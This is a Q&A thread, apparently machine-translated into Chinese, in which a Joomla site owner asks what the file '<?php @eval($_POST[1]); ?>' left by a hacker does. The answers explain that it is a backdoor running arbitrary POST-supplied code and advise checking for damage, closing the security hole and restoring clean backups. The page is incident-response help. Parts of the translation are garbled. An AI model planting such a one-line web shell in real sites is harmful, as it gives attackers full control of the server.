Php @eval($\u POST[1])的含义是什么

Php @eval($\u POST[1])的含义是什么,php,joomla,eval,joomla3.0,Php,Joomla,Eval,Joomla3.0,我的joomla站点被黑客攻击,我在库文件夹中得到一个文件,名为reads.php文件。当我打开这个文件时,只写了一行 <?php @eval($_POST[1]); ?> 我不明白什么数据黑客会得到这条线。 请推荐我 我直接采用php文档的形式eval()语言结构非常危险,因为它允许执行任意php代码。因此,不鼓励使用它。如果您已经仔细验证了除了使用此构造之外没有其他选择,请特别注意,在未事先正确验证的情况下,不要将任何用户提供的数据传递到该构造中。 比如说 <?php

我的joomla站点被黑客攻击,我在库文件夹中得到一个文件,名为reads.php文件。当我打开这个文件时,只写了一行

<?php @eval($_POST[1]); ?>

我不明白什么数据黑客会得到这条线。
请推荐我

我直接采用php文档的形式eval()语言结构非常危险,因为它允许执行任意php代码。因此,不鼓励使用它。如果您已经仔细验证了除了使用此构造之外没有其他选择,请特别注意,在未事先正确验证的情况下,不要将任何用户提供的数据传递到该构造中。 比如说

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

在这里阅读更多信息

有了这行代码,黑客将能够执行他想要的任何代码。因此,该代码将有权读取、更新或删除他想要的任何数据

我们还不知道他将选择执行什么代码,因为代码将作为$\u POST参数传递。$\u POST[1]参数将包含一个可执行代码字符串。然后,将使用此参数调用eval()以执行该代码

当黑客调用您的页面,将一些代码作为POST参数传递给它时,他将执行一个名为的攻击

现在你知道了,你必须弄清楚:

  • 如果可能,为了将其复原,已经进行了哪些损坏
  • 什么安全漏洞允许黑客将“eval”代码添加到您的代码库

  • 如果决定恢复备份,请确保备份中没有“eval”代码。然后,解决问题2,因为黑客可能会再次使用相同的安全漏洞来恢复他的黑客行为。即使您的备份是干净的,安全漏洞仍然存在。

    它将执行他们想要执行的任何代码,当对函数引用手册的内容有疑问时,他们将使用请求中的$\u POST参数传递这些代码<代码>eval()语言构造非常危险,因为它允许执行任意PHP代码。
    This is a $string with my $name in it.
    This is a cup with my coffee in it.